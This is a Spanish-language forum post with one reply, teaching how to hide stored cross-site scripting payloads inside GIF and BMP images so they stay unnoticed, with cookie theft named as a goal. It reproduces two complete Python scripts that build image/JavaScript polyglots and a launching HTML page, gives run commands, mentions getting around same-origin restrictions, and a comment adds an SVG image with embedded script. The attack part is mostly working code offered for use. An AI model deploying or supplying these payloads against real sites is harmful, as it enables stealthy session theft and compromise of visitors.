Realizar XSS desde Imagenes

Los ataques de XSS o Cross-Site Scripting (https://es.wikipedia.org/wiki/Cross-site_scripting) son ataques que permiten ejecutar código (normalmente javascript o html) en el navegador del usuario, estos ataques pueden ser de 3 tipos, Reflejado (que solo se ejecuta si el usuario accede a un enlace especialmente diseñado), Almacenado (que queda guardado en la pagina y afecta a cualquiera que la visite) y de tipo DOM que trata de explotar el Document Object Model o 'Modelo de Objetos del Documento' del navegador.

Aveces tenemos la libertad de ingresar código HTML en aplicaciones web y si tenemos algo de suerte no limitan la etiqueta "script", por tanto podríamos dejar bonito XSS almacenado en estas aplicaciones, el problema es cuando queremos que este XSS almacenado llame lo menos posible la atención, es decir queremos que se pueda mantener vigente la mayor cantidad de tiempo posible (como cuando estamos mandando cookies a un archivo externo) y es ahí donde poner nuestro payload en una imagen puede ser tentador.

Los formatos de imagenes que permiten hacer esto son GIF y BMP, en los demás he visto que se rompe y no muestra la imagen, lo que tenemos que hacer es abrir un editor hexadecimal y añadir nuestro payload al final de la imagen

<img src="RUTA/ImagenMala.gif"\>
<script src= "RUTA/ImagenMala.gif"> </script>

Ustedes dirán, (pero si me están permitiendo la etiqueta script por que no poner el payload de una vez) y tienen razón, pero la idea es pasar desapercibidos, es mas fácil que ingresar una imagen con javascript pase desapercibido que un payload directo.

Escribir nuestro payload al final del archivo con el editor hexadecimal aveces puede salir mal, por eso utilizo en estos casos unos scripts en python que encontré en el blog de Marco Ramilli

Este para poner payloads XSS en Imagenes GIF

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a GIF. ====================================================#
#======= or it creates a JavaScript Payload as a GIF.    ====================================================#
#======= The resulting GIF must be a valid (not corrupted) GIF. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS IS NOT PEP3 FORMATTED
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
                                #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
                                #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os


#---------------------------------------------------------
def _hexify(num):
    """
    Converts and formats to hexadecimal
    """
    num = "%x" % num
    if len(num) % 2:
        num = '0'+num
    return num.decode('hex')


#---------------------------------------------------------
def _generate_and_write_to_file(payload, fname):
    """
    Generates a fake but valid GIF within scriting
    """
    f = open(fname, "wb")
    header = (b'\x47\x49\x46\x38\x39\x61'  #Signature + Version  GIF89a
                        b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
                        b'\x0A\x00' #Smal Logical Screen Height
                        b'\x00' #GCTF
                        b'\xFF' #BackgroundColor
                        b'\x00' #Pixel Ratio
                        b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
                        b'\x2A\x2F' #Commenting out */
                        b'\x3D\x31\x3B' # enable the script side by introducing =1;
                        )
    trailer = b'\x3B'
    # I made this explicit, step by step .
    f.write(header)
    f.write(payload)
    f.write(trailer)
    f.close()
    return True


#---------------------------------------------------------
def _generate_launching_page(f):
    """
    Creates the HTML launching page
    """
    htmlpage ="""
                                <html>
                                <head><title>Opening an image</title> </head>
                                <body>
                                    <img src=\"""" + f + """_malw.gif\"\>
                                    <script src= \"""" + f + """_malw.gif\"> </script>
                                </body>
                                </html>
              """
    html = open("run.html", "wb")
    html.write(htmlpage);
    html.close()
    return True


#---------------------------------------------------------
def _inject_into_file(payload, fname):
    """
    Injects the payload into existing GIF
    NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
    """
    # I know, I can do it all in memory and much more fast.
    # I wont do it here.
    with open(fname + "_malw.gif", "w+b") as fout:
        with open(fname, "rt") as fin:
            for line in fin:
                ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
                ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')             
                fout.write(ls2)                 
        fout.seek(6,0)
        fout.write(b'\x2F\x2A') #/*

    f = open(fname + "_malw.gif", "a+b") #appending mode
    f.write(b'\x2A\x2F\x3D\x31\x3B')
    f.write(payload)
    f.write(b'\x3B')
    f.close()
    return True


#---------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("filename",help="the gif file name to be generated/or infected")
    parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
    parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
    args = parser.parse_args()
    print("""
                    |======================================================================================================|
                    | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
                    | It is the end user's responsibility to obey all applicable local, state and federal laws.            |
                    | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
                    |======================================================================================================|
                    """
         )
    if args.inject_to_existing_gif:
         _inject_into_file(args.js_payload, args.filename)
    else:
        _generate_and_write_to_file(args.js_payload, args.filename)

    _generate_launching_page(args.filename)
    print "[+] Finished!"

Y este otro para poner payloads XSS en Imágenes BMP

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
                                #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
                                #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os

#---------------------------------------------------------
def _hexify(num):
    """
    Converts and formats to hexadecimal
    """
    num = "%x" % num
    if len(num) % 2:
        num = '0'+num
    return num.decode('hex')

#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
    """
    Generates a fake but valid BMP within scriting
    """
    f = open(fname, "wb")
    header = (b'\x42\x4D'  #Signature BM
                        b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header 
                        b'\x00\x00\x00\x00' #Reserved
                        b'\x00\x00\x00\x00' #bitmap data offset
                        b''+ _hexify( len(payload) ) + #bitmap header size
                      b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
                        b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
                      b'\x00\x00' #nb_plan  
                        b'\x00\x00' #nb per pixel
                        b'\x00\x10\x00\x00' #compression type
                        b'\x00\x00\x00\x00' #image size .. its ignored
                        b'\x00\x00\x00\x01' #Horizontal resolution
                        b'\x00\x00\x00\x01' #Vertial resolution
                        b'\x00\x00\x00\x00' #number of colors
                        b'\x00\x00\x00\x00' #number important colors
                        b'\x00\x00\x00\x80' #palet colors to be complient
                        b'\x00\x80\xff\x80' #palet colors to be complient
                        b'\x80\x00\xff\x2A' #palet colors to be complient
                        b'\x2F\x3D\x31\x3B' #*/=1;
                        )
    # I made this explicit, step by step .
    f.write(header)
    f.write(payload)
    f.close()
    return True

#---------------------------------------------------------
def _generate_launching_page(f):
    """
    Creates the HTML launching page
    """

    htmlpage ="""
                                <html>
                                <head><title>Opening an image</title> </head>
                                <body>
                                    <img src=\"""" + f + """\"\>
                                    <script src= \"""" + f + """\"> </script>
                                </body>
                                </html>
                        """
    html = open("run.html", "wb")
    html.write(htmlpage);
    html.close()
    return True

#---------------------------------------------------------
def _inject_into_file(payload, fname):
    """
    Injects the payload into existing BMP
    NOTE: if the BMP contains \xFF\x2A might caouse issues
    """
    # I know, I can do it all in memory and much more fast.
    # I wont do it here.
    f = open(fname, "r+b")
    b = f.read()
    b.replace(b'\x2A\x2F',b'\x00\x00')
    f.close()

    f = open(fname, "w+b")
    f.write(b)
    f.seek(2,0)
    f.write(b'\x2F\x2A')
    f.close()

    f = open(fname, "a+b")
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(payload)
    f.close()
    return True


#---------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("filename",help="the bmp file name to be generated/or infected")
    parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
    parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
    args = parser.parse_args()
    print("""
                    |======================================================================================================|
                    | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
                    | It is the end user's responsibility to obey all applicable local, state and federal laws.            |
                    | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
                    |======================================================================================================|
                    """)
    if args.inject_to_existing_bmp:
         _inject_into_file(args.js_payload, args.filename)
    else:
        _generate_and_write_to_file(args.js_payload, args.filename)

    _generate_launching_page(args.filename)
    print "[+] Finished!"

Los scripts los guardas con el nombre que quieras y extension .py y los ejecutarías así:

python nombreScript.py -i Imagen.extension PAYLOAD

Al terminar te genera 2 archivos uno con el nombre de la imagen + el texto _malw y otro run.html donde está un código de ejemplo de cómo debes llamar la imagen en html.

Esta técnica también es útil cuanto los aplicativos web tienen tienen política SOP (Same Origin Policy), pero permite subir imágenes, en ellas podemos alojar el payload y luego llamarlo desde el html.

estoy buscando otros usos para esta técnica ¿cual se te ocurre?

Etiquetado:

Comentarios

  • editado febrero 2017

    Algo similar se puede hacer con imágenes SVG, en el ejemplo puntual ponían el siguiente código:

    <svg width="130" height="130">
       <a xlink:href="javascript:alert(location)">
       <script>
             alert('Hola UAD! :}');
       </script>
       <circle cx="60" cy="60" r="50" stroke="black" stroke-width="4" fill="red" />
    </svg>
    

    Como vez el payload ya va en la misma imagen por que el formato lo permite, puedes ver más en el post original de una al día http://unaaldia.hispasec.com/2017/02/creias-que-las-imagenes-eran.html

Accede o Regístrate para comentar.